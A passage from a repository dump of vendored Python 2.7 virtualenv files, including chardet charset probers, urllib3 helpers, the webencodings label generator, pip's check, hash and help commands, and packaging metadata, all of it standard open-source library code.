4 | # The Initial Developer of the Original Code is
5 | # Netscape Communications Corporation.
6 | # Portions created by the Initial Developer are Copyright (C) 1998
7 | # the Initial Developer. All Rights Reserved.
8 | #
9 | # Contributor(s):
10 | # Mark Pilgrim - port to Python
11 | #
12 | # This library is free software; you can redistribute it and/or
13 | # modify it under the terms of the GNU Lesser General Public
14 | # License as published by the Free Software Foundation; either
15 | # version 2.1 of the License, or (at your option) any later version.
16 | #
17 | # This library is distributed in the hope that it will be useful,
18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
20 | # Lesser General Public License for more details.
21 | #
22 | # You should have received a copy of the GNU Lesser General Public
23 | # License along with this library; if not, write to the Free Software
24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
25 | # 02110-1301 USA
26 | ######################### END LICENSE BLOCK #########################
27 |
28 | from .mbcharsetprober import MultiByteCharSetProber
29 | from .codingstatemachine import CodingStateMachine
30 | from .chardistribution import EUCKRDistributionAnalysis
31 | from .mbcssm import CP949SMModel
32 |
33 |
34 | class CP949Prober(MultiByteCharSetProber):
35 | def __init__(self):
36 | MultiByteCharSetProber.__init__(self)
37 | self._mCodingSM = CodingStateMachine(CP949SMModel)
38 | # NOTE: CP949 is a superset of EUC-KR, so the distribution should be
39 | # not different.
40 | self._mDistributionAnalyzer = EUCKRDistributionAnalysis()
41 | self.reset()
42 |
43 | def get_charset_name(self):
44 | return "CP949"
45 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/euckrprober.py:
--------------------------------------------------------------------------------
1 | ######################## BEGIN LICENSE BLOCK ########################
2 | # The Original Code is mozilla.org code.
3 | #
4 | # The Initial Developer of the Original Code is
5 | # Netscape Communications Corporation.
6 | # Portions created by the Initial Developer are Copyright (C) 1998
7 | # the Initial Developer. All Rights Reserved.
8 | #
9 | # Contributor(s):
10 | # Mark Pilgrim - port to Python
11 | #
12 | # This library is free software; you can redistribute it and/or
13 | # modify it under the terms of the GNU Lesser General Public
14 | # License as published by the Free Software Foundation; either
15 | # version 2.1 of the License, or (at your option) any later version.
16 | #
17 | # This library is distributed in the hope that it will be useful,
18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
20 | # Lesser General Public License for more details.
21 | #
22 | # You should have received a copy of the GNU Lesser General Public
23 | # License along with this library; if not, write to the Free Software
24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
25 | # 02110-1301 USA
26 | ######################### END LICENSE BLOCK #########################
27 |
28 | from .mbcharsetprober import MultiByteCharSetProber
29 | from .codingstatemachine import CodingStateMachine
30 | from .chardistribution import EUCKRDistributionAnalysis
31 | from .mbcssm import EUCKRSMModel
32 |
33 |
34 | class EUCKRProber(MultiByteCharSetProber):
35 | def __init__(self):
36 | MultiByteCharSetProber.__init__(self)
37 | self._mCodingSM = CodingStateMachine(EUCKRSMModel)
38 | self._mDistributionAnalyzer = EUCKRDistributionAnalysis()
39 | self.reset()
40 |
41 | def get_charset_name(self):
42 | return "EUC-KR"
43 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/euctwprober.py:
--------------------------------------------------------------------------------
1 | ######################## BEGIN LICENSE BLOCK ########################
2 | # The Original Code is mozilla.org code.
3 | #
4 | # The Initial Developer of the Original Code is
5 | # Netscape Communications Corporation.
6 | # Portions created by the Initial Developer are Copyright (C) 1998
7 | # the Initial Developer. All Rights Reserved.
8 | #
9 | # Contributor(s):
10 | # Mark Pilgrim - port to Python
11 | #
12 | # This library is free software; you can redistribute it and/or
13 | # modify it under the terms of the GNU Lesser General Public
14 | # License as published by the Free Software Foundation; either
15 | # version 2.1 of the License, or (at your option) any later version.
16 | #
17 | # This library is distributed in the hope that it will be useful,
18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
20 | # Lesser General Public License for more details.
21 | #
22 | # You should have received a copy of the GNU Lesser General Public
23 | # License along with this library; if not, write to the Free Software
24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
25 | # 02110-1301 USA
26 | ######################### END LICENSE BLOCK #########################
27 |
28 | from .mbcharsetprober import MultiByteCharSetProber
29 | from .codingstatemachine import CodingStateMachine
30 | from .chardistribution import EUCTWDistributionAnalysis
31 | from .mbcssm import EUCTWSMModel
32 |
33 | class EUCTWProber(MultiByteCharSetProber):
34 | def __init__(self):
35 | MultiByteCharSetProber.__init__(self)
36 | self._mCodingSM = CodingStateMachine(EUCTWSMModel)
37 | self._mDistributionAnalyzer = EUCTWDistributionAnalysis()
38 | self.reset()
39 |
40 | def get_charset_name(self):
41 | return "EUC-TW"
42 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/gb2312prober.py:
--------------------------------------------------------------------------------
1 | ######################## BEGIN LICENSE BLOCK ########################
2 | # The Original Code is mozilla.org code.
3 | #
4 | # The Initial Developer of the Original Code is
5 | # Netscape Communications Corporation.
6 | # Portions created by the Initial Developer are Copyright (C) 1998
7 | # the Initial Developer. All Rights Reserved.
8 | #
9 | # Contributor(s):
10 | # Mark Pilgrim - port to Python
11 | #
12 | # This library is free software; you can redistribute it and/or
13 | # modify it under the terms of the GNU Lesser General Public
14 | # License as published by the Free Software Foundation; either
15 | # version 2.1 of the License, or (at your option) any later version.
16 | #
17 | # This library is distributed in the hope that it will be useful,
18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
20 | # Lesser General Public License for more details.
21 | #
22 | # You should have received a copy of the GNU Lesser General Public
23 | # License along with this library; if not, write to the Free Software
24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
25 | # 02110-1301 USA
26 | ######################### END LICENSE BLOCK #########################
27 |
28 | from .mbcharsetprober import MultiByteCharSetProber
29 | from .codingstatemachine import CodingStateMachine
30 | from .chardistribution import GB2312DistributionAnalysis
31 | from .mbcssm import GB2312SMModel
32 |
33 | class GB2312Prober(MultiByteCharSetProber):
34 | def __init__(self):
35 | MultiByteCharSetProber.__init__(self)
36 | self._mCodingSM = CodingStateMachine(GB2312SMModel)
37 | self._mDistributionAnalyzer = GB2312DistributionAnalysis()
38 | self.reset()
39 |
40 | def get_charset_name(self):
41 | return "GB2312"
42 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/mbcsgroupprober.py:
--------------------------------------------------------------------------------
1 | ######################## BEGIN LICENSE BLOCK ########################
2 | # The Original Code is Mozilla Universal charset detector code.
3 | #
4 | # The Initial Developer of the Original Code is
5 | # Netscape Communications Corporation.
6 | # Portions created by the Initial Developer are Copyright (C) 2001
7 | # the Initial Developer. All Rights Reserved.
8 | #
9 | # Contributor(s):
10 | # Mark Pilgrim - port to Python
11 | # Shy Shalom - original C code
12 | # Proofpoint, Inc.
13 | #
14 | # This library is free software; you can redistribute it and/or
15 | # modify it under the terms of the GNU Lesser General Public
16 | # License as published by the Free Software Foundation; either
17 | # version 2.1 of the License, or (at your option) any later version.
18 | #
19 | # This library is distributed in the hope that it will be useful,
20 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
21 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
22 | # Lesser General Public License for more details.
23 | #
24 | # You should have received a copy of the GNU Lesser General Public
25 | # License along with this library; if not, write to the Free Software
26 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
27 | # 02110-1301 USA
28 | ######################### END LICENSE BLOCK #########################
29 |
30 | from .charsetgroupprober import CharSetGroupProber
31 | from .utf8prober import UTF8Prober
32 | from .sjisprober import SJISProber
33 | from .eucjpprober import EUCJPProber
34 | from .gb2312prober import GB2312Prober
35 | from .euckrprober import EUCKRProber
36 | from .cp949prober import CP949Prober
37 | from .big5prober import Big5Prober
38 | from .euctwprober import EUCTWProber
39 |
40 |
41 | class MBCSGroupProber(CharSetGroupProber):
42 | def __init__(self):
43 | CharSetGroupProber.__init__(self)
44 | self._mProbers = [
45 | UTF8Prober(),
46 | SJISProber(),
47 | EUCJPProber(),
48 | GB2312Prober(),
49 | EUCKRProber(),
50 | CP949Prober(),
51 | Big5Prober(),
52 | EUCTWProber()
53 | ]
54 | self.reset()
55 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/contrib/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/contrib/__init__.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/packages/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from . import ssl_match_hostname
4 |
5 | __all__ = ('ssl_match_hostname', )
6 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/packages/ssl_match_hostname/__init__.py:
--------------------------------------------------------------------------------
1 | try:
2 | # Python 3.2+
3 | from ssl import CertificateError, match_hostname
4 | except ImportError:
5 | try:
6 | # Backport of the function from a pypi module
7 | from backports.ssl_match_hostname import CertificateError, match_hostname
8 | except ImportError:
9 | # Our vendored copy
10 | from ._implementation import CertificateError, match_hostname
11 |
12 | # Not needed, but documenting what we provide.
13 | __all__ = ('CertificateError', 'match_hostname')
14 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | # For backwards compatibility, provide imports that used to be here.
3 | from .connection import is_connection_dropped
4 | from .request import make_headers
5 | from .response import is_fp_closed
6 | from .ssl_ import (
7 | SSLContext,
8 | HAS_SNI,
9 | IS_PYOPENSSL,
10 | assert_fingerprint,
11 | resolve_cert_reqs,
12 | resolve_ssl_version,
13 | ssl_wrap_socket,
14 | )
15 | from .timeout import (
16 | current_time,
17 | Timeout,
18 | )
19 |
20 | from .retry import Retry
21 | from .url import (
22 | get_host,
23 | parse_url,
24 | split_first,
25 | Url,
26 | )
27 |
28 | __all__ = (
29 | 'HAS_SNI',
30 | 'IS_PYOPENSSL',
31 | 'SSLContext',
32 | 'Retry',
33 | 'Timeout',
34 | 'Url',
35 | 'assert_fingerprint',
36 | 'current_time',
37 | 'is_connection_dropped',
38 | 'is_fp_closed',
39 | 'get_host',
40 | 'parse_url',
41 | 'make_headers',
42 | 'resolve_cert_reqs',
43 | 'resolve_ssl_version',
44 | 'split_first',
45 | 'ssl_wrap_socket',
46 | )
47 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/request.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from base64 import b64encode
3 |
4 | from ..packages.six import b
5 |
6 | ACCEPT_ENCODING = 'gzip,deflate'
7 |
8 |
9 | def make_headers(keep_alive=None, accept_encoding=None, user_agent=None,
10 | basic_auth=None, proxy_basic_auth=None, disable_cache=None):
11 | """
12 | Shortcuts for generating request headers.
13 |
14 | :param keep_alive:
15 | If ``True``, adds 'connection: keep-alive' header.
16 |
17 | :param accept_encoding:
18 | Can be a boolean, list, or string.
19 | ``True`` translates to 'gzip,deflate'.
20 | List will get joined by comma.
21 | String will be used as provided.
22 |
23 | :param user_agent:
24 | String representing the user-agent you want, such as
25 | "python-urllib3/0.6"
26 |
27 | :param basic_auth:
28 | Colon-separated username:password string for 'authorization: basic ...'
29 | auth header.
30 |
31 | :param proxy_basic_auth:
32 | Colon-separated username:password string for 'proxy-authorization: basic ...'
33 | auth header.
34 |
35 | :param disable_cache:
36 | If ``True``, adds 'cache-control: no-cache' header.
37 |
38 | Example::
39 |
40 | >>> make_headers(keep_alive=True, user_agent="Batman/1.0")
41 | {'connection': 'keep-alive', 'user-agent': 'Batman/1.0'}
42 | >>> make_headers(accept_encoding=True)
43 | {'accept-encoding': 'gzip,deflate'}
44 | """
45 | headers = {}
46 | if accept_encoding:
47 | if isinstance(accept_encoding, str):
48 | pass
49 | elif isinstance(accept_encoding, list):
50 | accept_encoding = ','.join(accept_encoding)
51 | else:
52 | accept_encoding = ACCEPT_ENCODING
53 | headers['accept-encoding'] = accept_encoding
54 |
55 | if user_agent:
56 | headers['user-agent'] = user_agent
57 |
58 | if keep_alive:
59 | headers['connection'] = 'keep-alive'
60 |
61 | if basic_auth:
62 | headers['authorization'] = 'Basic ' + \
63 | b64encode(b(basic_auth)).decode('utf-8')
64 |
65 | if proxy_basic_auth:
66 | headers['proxy-authorization'] = 'Basic ' + \
67 | b64encode(b(proxy_basic_auth)).decode('utf-8')
68 |
69 | if disable_cache:
70 | headers['cache-control'] = 'no-cache'
71 |
72 | return headers
73 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/webencodings/mklabels.py:
--------------------------------------------------------------------------------
1 | """
2 |
3 | webencodings.mklabels
4 | ~~~~~~~~~~~~~~~~~~~~~
5 |
6 | Regenarate the webencodings.labels module.
7 |
8 | :copyright: Copyright 2012 by Simon Sapin
9 | :license: BSD, see LICENSE for details.
10 |
11 | """
12 |
13 | import json
14 | try:
15 | from urllib import urlopen
16 | except ImportError:
17 | from urllib.request import urlopen
18 |
19 |
20 | def assert_lower(string):
21 | assert string == string.lower()
22 | return string
23 |
24 |
25 | def generate(url):
26 | parts = ['''\
27 | """
28 |
29 | webencodings.labels
30 | ~~~~~~~~~~~~~~~~~~~
31 |
32 | Map encoding labels to their name.
33 |
34 | :copyright: Copyright 2012 by Simon Sapin
35 | :license: BSD, see LICENSE for details.
36 |
37 | """
38 |
39 | # XXX Do not edit!
40 | # This file is automatically generated by mklabels.py
41 |
42 | LABELS = {
43 | ''']
44 | labels = [
45 | (repr(assert_lower(label)).lstrip('u'),
46 | repr(encoding['name']).lstrip('u'))
47 | for category in json.loads(urlopen(url).read().decode('ascii'))
48 | for encoding in category['encodings']
49 | for label in encoding['labels']]
50 | max_len = max(len(label) for label, name in labels)
51 | parts.extend(
52 | ' %s:%s %s,\n' % (label, ' ' * (max_len - len(label)), name)
53 | for label, name in labels)
54 | parts.append('}')
55 | return ''.join(parts)
56 |
57 |
58 | if __name__ == '__main__':
59 | print(generate('http://encoding.spec.whatwg.org/encodings.json'))
60 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/commands/check.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | from pip.basecommand import Command
4 | from pip.operations.check import check_requirements
5 | from pip.utils import get_installed_distributions
6 |
7 |
8 | logger = logging.getLogger(__name__)
9 |
10 |
11 | class CheckCommand(Command):
12 | """Verify installed packages have compatible dependencies."""
13 | name = 'check'
14 | usage = """
15 | %prog [options]"""
16 | summary = 'Verify installed packages have compatible dependencies.'
17 |
18 | def run(self, options, args):
19 | dists = get_installed_distributions(local_only=False, skip=())
20 | missing_reqs_dict, incompatible_reqs_dict = check_requirements(dists)
21 |
22 | for dist in dists:
23 | key = '%s==%s' % (dist.project_name, dist.version)
24 |
25 | for requirement in missing_reqs_dict.get(key, []):
26 | logger.info(
27 | "%s %s requires %s, which is not installed.",
28 | dist.project_name, dist.version, requirement.project_name)
29 |
30 | for requirement, actual in incompatible_reqs_dict.get(key, []):
31 | logger.info(
32 | "%s %s has requirement %s, but you have %s %s.",
33 | dist.project_name, dist.version, requirement,
34 | actual.project_name, actual.version)
35 |
36 | if missing_reqs_dict or incompatible_reqs_dict:
37 | return 1
38 | else:
39 | logger.info("No broken requirements found.")
40 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/commands/hash.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | import hashlib
4 | import logging
5 | import sys
6 |
7 | from pip.basecommand import Command
8 | from pip.status_codes import ERROR
9 | from pip.utils import read_chunks
10 | from pip.utils.hashes import FAVORITE_HASH, STRONG_HASHES
11 |
12 |
13 | logger = logging.getLogger(__name__)
14 |
15 |
16 | class HashCommand(Command):
17 | """
18 | Compute a hash of a local package archive.
19 |
20 | These can be used with --hash in a requirements file to do repeatable
21 | installs.
22 |
23 | """
24 | name = 'hash'
25 | usage = '%prog [options] ...'
26 | summary = 'Compute hashes of package archives.'
27 |
28 | def __init__(self, *args, **kw):
29 | super(HashCommand, self).__init__(*args, **kw)
30 | self.cmd_opts.add_option(
31 | '-a', '--algorithm',
32 | dest='algorithm',
33 | choices=STRONG_HASHES,
34 | action='store',
35 | default=FAVORITE_HASH,
36 | help='The hash algorithm to use: one of %s' %
37 | ', '.join(STRONG_HASHES))
38 | self.parser.insert_option_group(0, self.cmd_opts)
39 |
40 | def run(self, options, args):
41 | if not args:
42 | self.parser.print_usage(sys.stderr)
43 | return ERROR
44 |
45 | algorithm = options.algorithm
46 | for path in args:
47 | logger.info('%s:\n--hash=%s:%s',
48 | path, algorithm, _hash_of_file(path, algorithm))
49 |
50 |
51 | def _hash_of_file(path, algorithm):
52 | """Return the hash digest of a file."""
53 | with open(path, 'rb') as archive:
54 | hash = hashlib.new(algorithm)
55 | for chunk in read_chunks(archive):
56 | hash.update(chunk)
57 | return hash.hexdigest()
58 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/commands/help.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from pip.basecommand import Command, SUCCESS
4 | from pip.exceptions import CommandError
5 |
6 |
7 | class HelpCommand(Command):
8 | """Show help for commands"""
9 | name = 'help'
10 | usage = """
11 | %prog """
12 | summary = 'Show help for commands.'
13 |
14 | def run(self, options, args):
15 | from pip.commands import commands_dict, get_similar_commands
16 |
17 | try:
18 | # 'pip help' with no args is handled by pip.__init__.parseopt()
19 | cmd_name = args[0] # the command we need help for
20 | except IndexError:
21 | return SUCCESS
22 |
23 | if cmd_name not in commands_dict:
24 | guess = get_similar_commands(cmd_name)
25 |
26 | msg = ['unknown command "%s"' % cmd_name]
27 | if guess:
28 | msg.append('maybe you meant "%s"' % guess)
29 |
30 | raise CommandError(' - '.join(msg))
31 |
32 | command = commands_dict[cmd_name]()
33 | command.parser.print_help()
34 |
35 | return SUCCESS
36 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/models/__init__.py:
--------------------------------------------------------------------------------
1 | from pip.models.index import Index, PyPI
2 |
3 |
4 | __all__ = ["Index", "PyPI"]
5 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/models/index.py:
--------------------------------------------------------------------------------
1 | from pip._vendor.six.moves.urllib import parse as urllib_parse
2 |
3 |
4 | class Index(object):
5 | def __init__(self, url):
6 | self.url = url
7 | self.netloc = urllib_parse.urlsplit(url).netloc
8 | self.simple_url = self.url_to_path('simple')
9 | self.pypi_url = self.url_to_path('pypi')
10 | self.pip_json_url = self.url_to_path('pypi/pip/json')
11 |
12 | def url_to_path(self, path):
13 | return urllib_parse.urljoin(self.url, path)
14 |
15 |
16 | PyPI = Index('https://pypi.python.org/')
17 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/operations/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/pip/operations/__init__.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/operations/check.py:
--------------------------------------------------------------------------------
1 |
2 |
3 | def check_requirements(installed_dists):
4 | missing_reqs_dict = {}
5 | incompatible_reqs_dict = {}
6 |
7 | for dist in installed_dists:
8 | key = '%s==%s' % (dist.project_name, dist.version)
9 |
10 | missing_reqs = list(get_missing_reqs(dist, installed_dists))
11 | if missing_reqs:
12 | missing_reqs_dict[key] = missing_reqs
13 |
14 | incompatible_reqs = list(get_incompatible_reqs(
15 | dist, installed_dists))
16 | if incompatible_reqs:
17 | incompatible_reqs_dict[key] = incompatible_reqs
18 |
19 | return (missing_reqs_dict, incompatible_reqs_dict)
20 |
21 |
22 | def get_missing_reqs(dist, installed_dists):
23 | """Return all of the requirements of `dist` that aren't present in
24 | `installed_dists`.
25 |
26 | """
27 | installed_names = set(d.project_name.lower() for d in installed_dists)
28 | missing_requirements = set()
29 |
30 | for requirement in dist.requires():
31 | if requirement.project_name.lower() not in installed_names:
32 | missing_requirements.add(requirement)
33 | yield requirement
34 |
35 |
36 | def get_incompatible_reqs(dist, installed_dists):
37 | """Return all of the requirements of `dist` that are present in
38 | `installed_dists`, but have incompatible versions.
39 |
40 | """
41 | installed_dists_by_name = {}
42 | for installed_dist in installed_dists:
43 | installed_dists_by_name[installed_dist.project_name] = installed_dist
44 |
45 | for requirement in dist.requires():
46 | present_dist = installed_dists_by_name.get(requirement.project_name)
47 |
48 | if present_dist and present_dist not in requirement:
49 | yield (requirement, present_dist)
50 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/req/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from .req_install import InstallRequirement
4 | from .req_set import RequirementSet, Requirements
5 | from .req_file import parse_requirements
6 |
7 | __all__ = [
8 | "RequirementSet", "Requirements", "InstallRequirement",
9 | "parse_requirements",
10 | ]
11 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/status_codes.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | SUCCESS = 0
4 | ERROR = 1
5 | UNKNOWN_ERROR = 2
6 | VIRTUALENV_NOT_FOUND = 3
7 | PREVIOUS_BUILD_DIR_ERROR = 4
8 | NO_MATCHES_FOUND = 23
9 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/utils/build.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | import os.path
4 | import tempfile
5 |
6 | from pip.utils import rmtree
7 |
8 |
9 | class BuildDirectory(object):
10 |
11 | def __init__(self, name=None, delete=None):
12 | # If we were not given an explicit directory, and we were not given an
13 | # explicit delete option, then we'll default to deleting.
14 | if name is None and delete is None:
15 | delete = True
16 |
17 | if name is None:
18 | # We realpath here because some systems have their default tmpdir
19 | # symlinked to another directory. This tends to confuse build
20 | # scripts, so we canonicalize the path by traversing potential
21 | # symlinks here.
22 | name = os.path.realpath(tempfile.mkdtemp(prefix="pip-build-"))
23 | # If we were not given an explicit directory, and we were not given
24 | # an explicit delete option, then we'll default to deleting.
25 | if delete is None:
26 | delete = True
27 |
28 | self.name = name
29 | self.delete = delete
30 |
31 | def __repr__(self):
32 | return "<{} {!r}>".format(self.__class__.__name__, self.name)
33 |
34 | def __enter__(self):
35 | return self.name
36 |
37 | def __exit__(self, exc, value, tb):
38 | self.cleanup()
39 |
40 | def cleanup(self):
41 | if self.delete:
42 | rmtree(self.name)
43 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/utils/encoding.py:
--------------------------------------------------------------------------------
1 | import codecs
2 | import locale
3 | import re
4 |
5 |
6 | BOMS = [
7 | (codecs.BOM_UTF8, 'utf8'),
8 | (codecs.BOM_UTF16, 'utf16'),
9 | (codecs.BOM_UTF16_BE, 'utf16-be'),
10 | (codecs.BOM_UTF16_LE, 'utf16-le'),
11 | (codecs.BOM_UTF32, 'utf32'),
12 | (codecs.BOM_UTF32_BE, 'utf32-be'),
13 | (codecs.BOM_UTF32_LE, 'utf32-le'),
14 | ]
15 |
16 | ENCODING_RE = re.compile(b'coding[:=]\s*([-\w.]+)')
17 |
18 |
19 | def auto_decode(data):
20 | """Check a bytes string for a BOM to correctly detect the encoding
21 |
22 | Fallback to locale.getpreferredencoding(False) like open() on Python3"""
23 | for bom, encoding in BOMS:
24 | if data.startswith(bom):
25 | return data[len(bom):].decode(encoding)
26 | # Lets check the first two lines as in PEP263
27 | for line in data.split(b'\n')[:2]:
28 | if line[0:1] == b'#' and ENCODING_RE.search(line):
29 | encoding = ENCODING_RE.search(line).groups()[0].decode('ascii')
30 | return data.decode(encoding)
31 | return data.decode(locale.getpreferredencoding(False))
32 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/utils/filesystem.py:
--------------------------------------------------------------------------------
1 | import os
2 | import os.path
3 |
4 | from pip.compat import get_path_uid
5 |
6 |
7 | def check_path_owner(path):
8 | # If we don't have a way to check the effective uid of this process, then
9 | # we'll just assume that we own the directory.
10 | if not hasattr(os, "geteuid"):
11 | return True
12 |
13 | previous = None
14 | while path != previous:
15 | if os.path.lexists(path):
16 | # Check if path is writable by current user.
17 | if os.geteuid() == 0:
18 | # Special handling for root user in order to handle properly
19 | # cases where users use sudo without -H flag.
20 | try:
21 | path_uid = get_path_uid(path)
22 | except OSError:
23 | return False
24 | return path_uid == 0
25 | else:
26 | return os.access(path, os.W_OK)
27 | else:
28 | previous, path = path, os.path.dirname(path)
29 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/utils/packaging.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | from email.parser import FeedParser
4 |
5 | import logging
6 | import sys
7 |
8 | from pip._vendor.packaging import specifiers
9 | from pip._vendor.packaging import version
10 | from pip._vendor import pkg_resources
11 |
12 | from pip import exceptions
13 |
14 | logger = logging.getLogger(__name__)
15 |
16 |
17 | def check_requires_python(requires_python):
18 | """
19 | Check if the python version in use match the `requires_python` specifier.
20 |
21 | Returns `True` if the version of python in use matches the requirement.
22 | Returns `False` if the version of python in use does not matches the
23 | requirement.
24 |
25 | Raises an InvalidSpecifier if `requires_python` have an invalid format.
26 | """
27 | if requires_python is None:
28 | # The package provides no information
29 | return True
30 | requires_python_specifier = specifiers.SpecifierSet(requires_python)
31 |
32 | # We only use major.minor.micro
33 | python_version = version.parse('.'.join(map(str, sys.version_info[:3])))
34 | return python_version in requires_python_specifier
35 |
36 |
37 | def get_metadata(dist):
38 | if (isinstance(dist, pkg_resources.DistInfoDistribution) and
39 | dist.has_metadata('METADATA')):
40 | return dist.get_metadata('METADATA')
41 | elif dist.has_metadata('PKG-INFO'):
42 | return dist.get_metadata('PKG-INFO')
43 |
44 |
45 | def check_dist_requires_python(dist):
46 | metadata = get_metadata(dist)
47 | feed_parser = FeedParser()
48 | feed_parser.feed(metadata)
49 | pkg_info_dict = feed_parser.close()
50 | requires_python = pkg_info_dict.get('Requires-Python')
51 | try:
52 | if not check_requires_python(requires_python):
53 | raise exceptions.UnsupportedPythonVersion(
54 | "%s requires Python '%s' but the running Python is %s" % (
55 | dist.project_name,
56 | requires_python,
57 | '.'.join(map(str, sys.version_info[:3])),)
58 | )
59 | except specifiers.InvalidSpecifier as e:
60 | logger.warning(
61 | "Package %s has an invalid Requires-Python entry %s - %s" % (
62 | dist.project_name, requires_python, e))
63 | return
64 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/utils/setuptools_build.py:
--------------------------------------------------------------------------------
1 | # Shim to wrap setup.py invocation with setuptools
2 | SETUPTOOLS_SHIM = (
3 | "import setuptools, tokenize;__file__=%r;"
4 | "f=getattr(tokenize, 'open', open)(__file__);"
5 | "code=f.read().replace('\\r\\n', '\\n');"
6 | "f.close();"
7 | "exec(compile(code, __file__, 'exec'))"
8 | )
9 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pkg_resources/_vendor/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/pkg_resources/_vendor/__init__.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pkg_resources/_vendor/packaging/__about__.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 | __all__ = [
7 | "__title__", "__summary__", "__uri__", "__version__", "__author__",
8 | "__email__", "__license__", "__copyright__",
9 | ]
10 |
11 | __title__ = "packaging"
12 | __summary__ = "Core utilities for Python packages"
13 | __uri__ = "https://github.com/pypa/packaging"
14 |
15 | __version__ = "16.8"
16 |
17 | __author__ = "Donald Stufft and individual contributors"
18 | __email__ = "donald@stufft.io"
19 |
20 | __license__ = "BSD or Apache License, Version 2.0"
21 | __copyright__ = "Copyright 2014-2016 %s" % __author__
22 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pkg_resources/_vendor/packaging/__init__.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 | from .__about__ import (
7 | __author__, __copyright__, __email__, __license__, __summary__, __title__,
8 | __uri__, __version__
9 | )
10 |
11 | __all__ = [
12 | "__title__", "__summary__", "__uri__", "__version__", "__author__",
13 | "__email__", "__license__", "__copyright__",
14 | ]
15 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pkg_resources/_vendor/packaging/_compat.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 | import sys
7 |
8 |
9 | PY2 = sys.version_info[0] == 2
10 | PY3 = sys.version_info[0] == 3
11 |
12 | # flake8: noqa
13 |
